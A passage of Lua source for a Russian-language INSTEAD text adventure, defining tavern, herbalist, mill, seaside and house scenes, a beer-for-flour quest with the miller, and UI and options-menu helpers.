своим необычным дизайном. Ты присел за него. Можешь, наконец, расслабить ноги после столь долгого пути. Что может быть приятнее, чем просто сидеть в уютном месте и наслаждаться атмосферой?]]; if kuvshinontable and notfull then p [[^^На столике стоит пустой {kuvshonstol|кувшин}.]] end; if kuvshinontable and not notfull then p [[^^На столике стоит {kuvshonstolwithpivo|кувшин}, наполненный пивом.]] end; if nopivoontable and not zabral then p [[^На столике стоит пустая кружка.]]; end; end; onenter = function() postavpivoje = true; end; onexit = function() postavpivoje = false; end; obj = {'stolik', 'kuvshonstol', 'kuvshonstolwithpivo'}; way = { path{'Отойти', 'insalun'} }; } obj { nam = 'kuvshonstol'; act = function() p [[Отлично. Теперь можно освободить кружку и выйти отсюда.]]; end; used = function (n, z) if z^'pivo' then p [[Ты аккуратно перелил пиво из кружки в кувшин. Готово!]]; notfull = false; replace('pivo', 'nopivo'); return end if not z^'pivo' then return false; end end; } obj { nam = 'kuvshonstolwithpivo'; act = function() p [[Ты взял кувшин с пивом.]]; take('kuvshinzpivom'); kuvshinontable = false; perelilpivo = true; youcanplace = true; zabralkuvshinpivo = true; end; } obj { nam = 'stolik'; act = function() p [[Забавный, круглый, сказочный столик. Сделан с любовью.]]; end; used = function (n, z) if z^'pero' then p [[Хочешь вытереть пыль? Её нет - стол затёрт до блеска.]] return end; if z^'nopivo' and not youcanplace then p [[Забери сначала пиво, что ли? Мне влом было делать ещё одно состояние сцены.]] return end; if z^'nopivo' and youcanplace then p [[Ты оставил пустую кружку на столе.]]; nopivoontable = true; remove('nopivo'); return end; if z^'pivo' then p [[Не время расслабляться, товарищ.]]; return -- куда спешишь товарищ, не время для потехи elseif z^'kuvshinzpivom' then p [[Не время расслабляться!]]; return end; if z^'kuvshin' and have('pivo') and not have('nopivo') then p [[Ты поставил кувшин на столик. Теперь можно легко перелить в него пиво.]]; kuvshinontable = true; if have('kuvshin') then remove('kuvshin') end; if have('kuvshin2') then remove('kuvshin2') end; return end; if z^'kuvshin'and not have('pivo') and not have('nopivo') then p [[Пустой кувшин даже на столе останется пустым кувшином...]]; return end if z^'kuvshin2' and have('pivo') and not have('nopivo') then p [[Ты поставил кувшин на столик. Теперь можно легко перелить в него пиво.]]; kuvshinontable = true; if have('kuvshin') then remove('kuvshin') end; if have('kuvshin2') then remove('kuvshin2') end; return end; if z^'kuvshin2'and not have('pivo') and not have('nopivo') then p [[Пустой кувшин даже на столе останется пустым кувшином...]]; return end if not z^'kuvshin' or not z^'kuvshin2' then return false; end end; } obj { nam = 'tokartina'; act = function() walkin('inkartina'); end; } room { nam = 'inkartina'; disp = 'Возле картины'; pic = 'gfx/36.png'; way = { path{'Отойти', 'insalun'} }; } room { nam = 'travnik'; disp = 'У травника'; -- pic = function() -- if havetaburet then return 'gfx/37_1.png' else return 'gfx/37.png' end; -- end; pic = function() if eveningenabled and havetaburet and not (evening > 5) then return 'gfx/37_1.png' end; if eveningenabled and not havetaburet and not (evening > 5) then return 'gfx/37.png' end; if eveningenabled and havetaburet and (evening > 5) then return 'gfx/37_1.png;gfx/daynight2/daynight_evening.png@0,0' end; if eveningenabled and not havetaburet and (evening > 5) then return 'gfx/37.png;gfx/daynight2/daynight_evening.png@0,0' end; if not eveningenabled and havetaburet then return 'gfx/37_1.png' end; if not eveningenabled and not havetaburet then return 'gfx/37.png' end; end; enter = function() snd.music('mus/DarkRedWine.ogg'); if not havetaburet then enable('#enableexit') disable('#enableattention') end; if havetaburet then disable('#enableexit') enable ('#enableattention') end; end; obj = {'neartravnik', 'taburet'}; decor = function() p [[Перед тобой за полками стоит {neartravnik|травник}.]]; if not havetaburet then p [[Твоё внимание привлёк старый {taburet|табурет}.]] end; end; way = { path{'#enableexit', 'Выйти', 'village'}:disable() , path{'#enableattention', 'Выйти', 'talkabouttaburet'}:disable() }; }:with { obj { nam = 'enableexit'; }; obj { nam = 'enableattention'; }; }; obj { nam = 'notaburet'; } dlg { nam = 'talkabouttaburet'; disp = 'Стоять!'; noinv = true; pic = 'gfx/37_2.png'; enter = function(s) p [[-- Далеко собрался? Верни табурет на место!]]; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы {'Ээ... Я... Это...','-- Вор ты, вот ты кто! ', { 'Простите!','-- Верни где взял.' } }, } -- конец фразы } obj { nam = 'taburet'; disp = fmt.img('gfx/inv/taburet.png')..'Табурет'; act = function() p [[Ты взял табурет прямо перед носом у травника.]] havetaburet = true; braltaburet = true; take('taburet') place('notaburet', 'travnik') walk('travnik') end; inv = function() if not seen('taburet', 'travnik') and seen('notaburet', here()) then p[[Ты вернул табурет на место.]] havetaburet = false; place('taburet', 'travnik') remove('notaburet', 'travnik') walk('travnik') end; if not seen('neartravnik', here()) then p [[Старый, но всё ещё прочный табурет.]] end; end; } obj { nam = 'neartravnik'; act = function() walkin('intravnik'); end; used = function (n, z) if z^'taburet' then p [[Ты вернул табурет на место.]]; havetaburet = false; place('taburet', 'travnik') remove('notaburet', 'travnik') walk('travnik') return end return false; end; } room { nam = 'intravnik'; disp = 'Возле травника'; -- pic = 'gfx/37_2.png'; pic = function() if eveningenabled and (evening > 5) then return 'gfx/37_2.png;gfx/daynight2/daynight_evening.png@0,0' else return 'gfx/37_2.png' end; end; way = { path{'Отойти от травника', 'travnik'} }; } room { nam = 'melnica'; disp = 'Внутри мельницы'; -- pic = 'gfx/41.png'; pic = function() if eveningenabled and (evening > 5) then return 'gfx/41.png;gfx/daynight2/daynight_evening.png@0,0' else return 'gfx/41.png' end; end; enter = function() snd.music('mus/Rhastafarian.ogg'); end; obj = {'nearmelnic'}; decor = function() p [[Перед тобой вольготно сидит суровый {nearmelnic|мельник}. Рядом с ним - большой сосуд, в который постоянно сыплется мука. Рядом - лестница, ведущая к жерновам. Тебе туда не надо, да и не пустят.]]; end; way = { path{'Выйти', 'village'} }; } obj { nam = 'nearmelnic'; act = function() walkin('inmelnic'); end; used = function(n,z) if z^'kuvshinzpivom' then walkin('dlgmelnicwithpivo') end; if z^'muka' then p[[Отдать назад?]] end; end; } room { nam = 'inmelnic'; disp = 'Возле мельника'; -- pic = 'gfx/41_2.png'; pic = function() if eveningenabled and (evening > 5) then return 'gfx/41_2.png;gfx/daynight2/daynight_evening.png@0,0' else return 'gfx/41_2.png' end; end; decor = function() p [[Мельник напоминает тебе то ли представителя неформальной субкультуры в годах, то ли твоего преподавателя из универа... Странный и эксцентричный тип, похоже. Но всё же он может быть полезен. {talkwithmelnic|Поговорить} с ним?]]; end; obj = {'talkwithmelnic'}; way = { path{'Отойти от мельника', 'melnica'} }; } obj { nam = 'muka'; disp = fmt.img('gfx/inv/muka.png')..'Мука'; inv = 'Мука. Отличная мука!'; } obj { nam = 'taranka'; -- таранька disp = fmt.img('gfx/inv/taranka.png')..'Таранька'; inv = 'Сушеная рыба застыла с недоуменным выражением "лица". Да. Кажется, ты начинаешь понимать защитников животных...'; } obj { nam = 'talkwithmelnic'; act = function() if not mukaest then walkin('dlgmelnic') else walkin('dlgmelnicaftermuka') end; end; } dlg { nam = 'dlgmelnic'; disp = 'Разговор с мельником'; noinv = true; pic = 'gfx/41_2.png'; enter = function(s) p [[-- Ну привет, привет. Чего тебе, путник?]]; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы only = true; {'Мне бы муки. Хотя бы немного.','-- Всё имеет свою цену. Мука вся расписана по жителям деревни, кому не досталась - тот сидит голодный.', { 'И нельзя выделить хотя бы килограмм?', function() p[[-- Можно. Принеси мне пива из трактира и будет тебе килограмм муки.]]; needpivo = true; end; } }, -- {'Спасибо. Я больше никогда не голоден, благодаря одной вещице...','-- Интересно, что же это?', -- { 'Скатерть-самобранка.', function() p'-- А можете показать мне её?' end -- }, -- } } -- конец фразы } dlg { nam = 'dlgmelnicwithpivo'; disp = 'Разговор с мельником'; noinv = true; pic = 'gfx/41_2.png'; enter = function(s) p [[-- О, пиво! Спасибо! А почему оно в кувшине? Мог бы и кружку найти. Но ладно. Договор есть договор. Держи свою муку.]]; replace('kuvshinzpivom', 'muka'); mukaest = true; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы only = true; {'Спасибо большое.','-- Да не за что. Кстати. А не мог бы ты мне принести тараньки? Не с мукой же мне пиво пить, в самом деле...', only = true; { 'Конечно, я поищу для тебя.','-- Вовек не забуду!' }, { 'Вряд ли. Я получил, что хотел.','-- Зря ты так. Ведь ещё не раз ко мне зайдешь потом.' }, }, } } dlg { nam = 'dlgmelnicaftermuka'; disp = 'Разговор с мельником'; noinv = true; pic = 'gfx/41_2.png'; enter = function(s) p [[-- А, это ты. Принес тараньку?]]; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы only = true; {'Принес.','-- Тогда где же она?', only = true; { 'А что мне за это будет?','-- Ишь какой! А что, нельзя просто доброе дело сделать?' }, { 'Вот, держи.','-- Спасибо, странник. Дарю тебе взамен...' }, }, {'Не принес.','-- Жаль.'}, } } room { nam = 'roomlodka'; disp = 'Возле моря'; enter = function() if eveningenabled then evening = evening+1; end; gullscheck = gullscounter; if gullscheck == gullscounter then gullscounter = rnd(4) end; if gullscounter == 4 then seegulls = false else seegulls = true end; -- pn ('counter:', string.sub(((gullscounter)),1,4)) -- временная строчка для показа переменной -- pn ('check:', string.sub(((gullscheck)),1,4)) if seegulls then snd.play('snd/gulls.ogg', 2, 0); end; snd.play('snd/sea_waves.ogg', 3, 0); end; exit = function() snd.stop(2); snd.stop(3); end; pic = function() if evening == 0 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight0.png@0,0' end; if evening == 1 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight1.png@0,0' end; if evening == 2 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight2.png@0,0' end; if evening == 3 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight3.png@0,0' end; if evening == 4 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight4.png@0,0' end; if evening == 5 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight5.png@0,0' end; if evening == 6 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight6.png@0,0' end; if evening == 7 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight7.png@0,0' end; if evening == 8 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight8.png@0,0' end; if evening == 9 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight9.png@0,0' end; if evening == 10 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight10.png@0,0' end; if evening == 11 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight11.png@0,0' end; if evening == 12 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight12.png@0,0' end; if evening == 13 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight13.png@0,0' end; if evening == 14 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight14.png@0,0' end; if evening == 15 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight15.png@0,0' end; if evening == 16 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight16.png@0,0' end; if evening == 17 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight17.png@0,0' end; if evening == 18 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight18.png@0,0' end; if evening == 19 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight19.png@0,0' end; if evening == 20 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight20.png@0,0' end; if evening == 21 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight21.png@0,0' end; if evening == 22 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight22.png@0,0' end; if evening == 23 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight23.png@0,0' end; if evening == 24 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight24.png@0,0' end; if evening == 25 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight25.png@0,0' end; if evening == 26 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight26.png@0,0' end; if evening == 27 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight27.png@0,0' end; if evening == 28 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight28.png@0,0' end; if evening == 29 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight29.png@0,0' end; if evening == 30 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight30.png@0,0' end; if evening > 30 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight30.png@0,0' end; if evening == 0 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight0.png@0,0' end; if evening == 1 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight1.png@0,0' end; if evening == 2 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight2.png@0,0' end; if evening == 3 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight3.png@0,0' end; if evening == 4 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight4.png@0,0' end; if evening == 5 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight5.png@0,0' end; if evening == 6 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight6.png@0,0' end; if evening == 7 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight7.png@0,0' end; if evening == 8 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight8.png@0,0' end; if evening == 9 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight9.png@0,0' end; if evening == 10 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight10.png@0,0' end; if evening == 11 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight11.png@0,0' end; if evening == 12 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight12.png@0,0' end; if evening == 13 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight13.png@0,0' end; if evening == 14 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight14.png@0,0' end; if evening == 15 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight15.png@0,0' end; if evening == 16 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight16.png@0,0' end; if evening == 17 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight17.png@0,0' end; if evening == 18 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight18.png@0,0' end; if evening == 19 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight19.png@0,0' end; if evening == 20 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight20.png@0,0' end; if evening == 21 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight21.png@0,0' end; if evening == 22 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight22.png@0,0' end; if evening == 23 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight23.png@0,0' end; if evening == 24 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight24.png@0,0' end; if evening == 25 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight25.png@0,0' end; if evening == 26 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight26.png@0,0' end; if evening == 27 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight27.png@0,0' end; if evening == 28 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight28.png@0,0' end; if evening == 29 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight29.png@0,0' end; if evening == 30 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight30.png@0,0' end; if evening > 30 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight30.png@0,0' end; if evening == 0 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight0.png@0,0' end; if evening == 1 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight1.png@0,0' end; if evening == 2 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight2.png@0,0' end; if evening == 3 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight3.png@0,0' end; if evening == 4 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight4.png@0,0' end; if evening == 5 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight5.png@0,0' end; if evening == 6 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight6.png@0,0' end; if evening == 7 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight7.png@0,0' end; if evening == 8 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight8.png@0,0' end; if evening == 9 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight9.png@0,0' end; if evening == 10 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight10.png@0,0' end; if evening == 11 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight11.png@0,0' end; if evening == 12 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight12.png@0,0' end; if evening == 13 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight13.png@0,0' end; if evening == 14 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight14.png@0,0' end; if evening == 15 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight15.png@0,0' end; if evening == 16 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight16.png@0,0' end; if evening == 17 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight17.png@0,0' end; if evening == 18 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight18.png@0,0' end; if evening == 19 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight19.png@0,0' end; if evening == 20 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight20.png@0,0' end; if evening == 21 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight21.png@0,0' end; if evening == 22 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight22.png@0,0' end; if evening == 23 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight23.png@0,0' end; if evening == 24 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight24.png@0,0' end; if evening == 25 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight25.png@0,0' end; if evening == 26 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight26.png@0,0' end; if evening == 27 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight27.png@0,0' end; if evening == 28 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight28.png@0,0' end; if evening == 29 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight29.png@0,0' end; if evening == 30 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight30.png@0,0' end; if evening > 30 and gullscounter == 3 then return 'gfx/38_3.png;gfx/daynight2/daynight30.png@0,0' end; if evening == 0 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight0.png@0,0' end; if evening == 1 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight1.png@0,0' end; if evening == 2 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight2.png@0,0' end; if evening == 3 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight3.png@0,0' end; if evening == 4 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight4.png@0,0' end; if evening == 5 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight5.png@0,0' end; if evening == 6 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight6.png@0,0' end; if evening == 7 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight7.png@0,0' end; if evening == 8 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight8.png@0,0' end; if evening == 9 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight9.png@0,0' end; if evening == 10 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight10.png@0,0' end; if evening == 11 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight11.png@0,0' end; if evening == 12 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight12.png@0,0' end; if evening == 13 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight13.png@0,0' end; if evening == 14 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight14.png@0,0' end; if evening == 15 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight15.png@0,0' end; if evening == 16 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight16.png@0,0' end; if evening == 17 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight17.png@0,0' end; if evening == 18 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight18.png@0,0' end; if evening == 19 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight19.png@0,0' end; if evening == 20 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight20.png@0,0' end; if evening == 21 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight21.png@0,0' end; if evening == 22 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight22.png@0,0' end; if evening == 23 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight23.png@0,0' end; if evening == 24 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight24.png@0,0' end; if evening == 25 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight25.png@0,0' end; if evening == 26 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight26.png@0,0' end; if evening == 27 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight27.png@0,0' end; if evening == 28 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight28.png@0,0' end; if evening == 29 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight29.png@0,0' end; if evening == 30 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight30.png@0,0' end; if evening > 30 and gullscounter == 4 then return 'gfx/38_4.png;gfx/daynight2/daynight30.png@0,0' end; end; onenter = function() seaseen = true; end; decor = function() p[[Синее море простирается до горизонта.]]; if seegulls then p[[Вдали видны чайки, занятые поиском пищи.]] end; p[[Водная стихия завораживает. Все герои человеческого эпоса, вероятно, сейчас плавают там, мужественно сражаясь за жизнь... Моряки, пираты, капитаны и матросы... К берегу пришвартована {lodka|лодка}.]]; end; obj = {'lodka'}; way = { path{'К дубу', 'indub'} }; } obj { nam = 'lodka'; act = function() p[[Старая, но всё ещё надежная лодка. Интересно, кому она принадлежит?]]; end; } room { nam = 'guesthouse'; disp = 'Дома у хозяев'; enter = function() snd.music('mus/TheGreatUnknown.ogg'); end; pic = function() -- if zanaveskaopen and not (evening > 30) then return 'gfx/40_2.png' end; -- if zanaveskaopen and evening > 30 and oboroten then return 'gfx/40_3.png' end; -- if zanaveskaopen and evening > 30 and not oboroten then return 'gfx/40_2.png' end; -- if not zanaveskaopen then return 'gfx/40.png' end; if not eveningenabled and zanaveskaopen and not (evening > 30) then return 'gfx/40_2.png' end; if not eveningenabled and zanaveskaopen and evening > 30 and oboroten then return 'gfx/40_3.png' end; if not eveningenabled and zanaveskaopen and evening > 30 and not oboroten then return 'gfx/40_2.png' end; if not eveningenabled and not zanaveskaopen then return 'gfx/40.png' end; if eveningenabled and zanaveskaopen and not (evening > 30) then return 'gfx/40_2.png;gfx/daynight2/daynight_evening.png@0,0' end; if eveningenabled and zanaveskaopen and evening > 30 and oboroten then return 'gfx/40_3.png;gfx/daynight2/daynight_evening.png@0,0' end; if eveningenabled and zanaveskaopen and evening > 30 and not oboroten then return 'gfx/40_2.png;gfx/daynight2/daynight_evening.png@0,0' end; if eveningenabled and not zanaveskaopen then return 'gfx/40.png;gfx/daynight2/daynight_evening.png@0,0' end; end; obj = {'podvinut'}; decor = function() p [[Уютный дом у конюха! Справа ты видишь печку. Слева - кровать от местных мастеров. Наверное, столяр был пьян, когда ее делал... Но это настоящая кровать! С мягкой подушкой и теплым одеялом. Под ногами - красивый коврик. Над головой - визитная карточка этих мест. Здесь нет и не было электричества, поэтому всё на свечах. Наверное, дорого обходится... Ты можешь {podvinut|подвинуть} занавеску.]]; end; way = { path{'Выйти', 'village'} }; } obj { nam = 'podvinut'; act = function() clickmute = true; snd.play ('snd/zanaveska.ogg', 1); zanaveskaopen = not zanaveskaopen; -- if not zanaveskaopen then zanaveskaopen = true else zanaveskaopen = false end end; } createstatus = function() if not here():type 'dlg' then D {"text", "txt", status, xc = true, yc = true, x = 695, w = 160, y = 102, align = 'center', hidden = false, h = 128, typewriter = false, font = 'fnt/Classicrussianc.otf', size = 20 , click = false, z = -1 } end; end; deletestatus = function() D { "text" } end; createbutton = function() D {"control_panel", "img", "gfx/options_menu.png", x = 695, y = 569, click = true, z = -1} D {"info_panel", "img", "gfx/info_menu.png", x = 635, y = 567, click = true, z = -1} D {"statsclick", "img", "gfx/statsclick.png", x = 635, y = 32, click = true, z = -1} createclickonscene(); createstatus(); end; deletebutton = function() D { "control_panel" } D { "info_panel" } D { "statsclick" } deleteclickonscene(); deletestatus(); end; createcursors = function() D {"cursor_usual", "img", "gfx/inv/cursor.png", x = 739, y = 48, click = true, z = -1} D {"cursor_big", "img", "gfx/inv/cursorbig.png", x = 739, y = 98, click = true, z = -1} D {"cursor_verybig", "img", "gfx/inv/cursorverybig.png", x = 739, y = 148, click = true, z = -1} end; deletecursors = function() D { "cursor_usual" } D { "cursor_big" } D { "cursor_verybig" } end; createclickonscene = function() D {"clickonscene", "img", "gfx/clickonscene.png", x = clickonscene_x, y = clickonscene_y, click = true, z = -1} clickonsceneenabled = true; end; deleteclickonscene = function() D { "clickonscene" } clickonsceneenabled = false; end; createtraces = function() D {"traces", "img", "gfx/traces.png", x = rnd(600), y = rnd(500), click = true, z = -1} end; deletetraces = function() D { "traces" } end; createruslang = function() D {"ruslang", "img", rulangimage, x = 615, y = 33, click = true, z = -1} end; deleteruslang = function() D { "ruslang" } end; createenglang = function() D {"englang", "img", enlangimage, x = 615, y = 74, click = true, z = -1} end; deleteenglang = function() D { "englang" } end; createukrlang = function() D {"ukrlang", "img", ualangimage, x = 615, y = 115, click = true, z = -1} end; deleteukrlang = function() D { "ukrlang" } end; createinfobar = function() if ru then D {"keys_infobar", "img", "gfx/keys_infobar.png", x = 0, y = 0, click = true, z = -1} end; if en then D {"keys_infobar", "img", "gfx/keys_infobar_en.png", x = 0, y = 0, click = true, z = -1} end; if ua then D {"keys_infobar", "img", "gfx/keys_infobar_ua.png", x = 0, y = 0, click = true, z = -1} end; infobarshow = true; end; deleteinfobar = function() D { "keys_infobar" } infobarshow = false; end; createredbar = function() D {"redbar", "img", "gfx/red.png", x = 0, y = 0, click = true, z = -1} redbarshow = true; end; deleteredbar = function() D { "redbar" } redbarshow = false; end; room { nam = 'control_room'; pic = 'gfx/options.png'; disp = false; noinv = true; enter = function() weareincontrol = true; bg_name = 'gfx/bg_options.png' theme.gfx.bg (bg_name) deletebutton(); deleteclickonscene(); createcursors(); createtraces(); theme.win.geom (0, 10, 664, 600); if ru then p ( fmt.c('Добро пожаловать в меню опций!^Вы можете сменить язык игры, а также размер курсора.') ); end; if en then p ( fmt.c('Welcome to the options menu!^You can change the language of the game, as well as the size of the cursor.') ); end; if ua then p ( fmt.c('Ласкаво просимо в меню опцій!^Ви можете змінити мову гри, а також розмір курсора.') ); end; end; decor = function() if ru then p ( fmt.c('Выберите язык игры:^') ); end; if en then p ( fmt.c('Choose game language:^') ); end; if ua then p ( fmt.c('Виберіть мову гри:^') ); end; p ( fmt.c(' {russian|Русский}, {english|English}, {ukrainian|Українська}') ); if ru then p ( fmt.c('^^{enableeveningmode|Включить вечер}.') ); end; if en then p ( fmt.c('^^{enableeveningmode|Enable evening}.') ); end; if ua then p ( fmt.c('^^{enableeveningmode|Увімкнути вечір}.') ); end; if ru then if theme.get'win.fnt.size' ~= '25' then p ( fmt.c('^^{fontsizeplus|Увеличить размер шрифта}.') ); end; end; if en then if theme.get'win.fnt.size' ~= '25' then p ( fmt.c('^^{fontsizeplus|Increase font size}.') ); end; end; if ua then if theme.get'win.fnt.size' ~= '25' then p ( fmt.c('^^{fontsizeplus|Збільшити розмір шрифту}.') ); end; end; if ru then if theme.get'win.fnt.size' ~= '10' then p ( fmt.c('{fontsizeminus|Уменьшить размер шрифта}.') ); end; end; if en then if theme.get'win.fnt.size' ~= '10' then p ( fmt.c('{fontsizeminus|Reduce font size}.') ); end; end; if ua then if 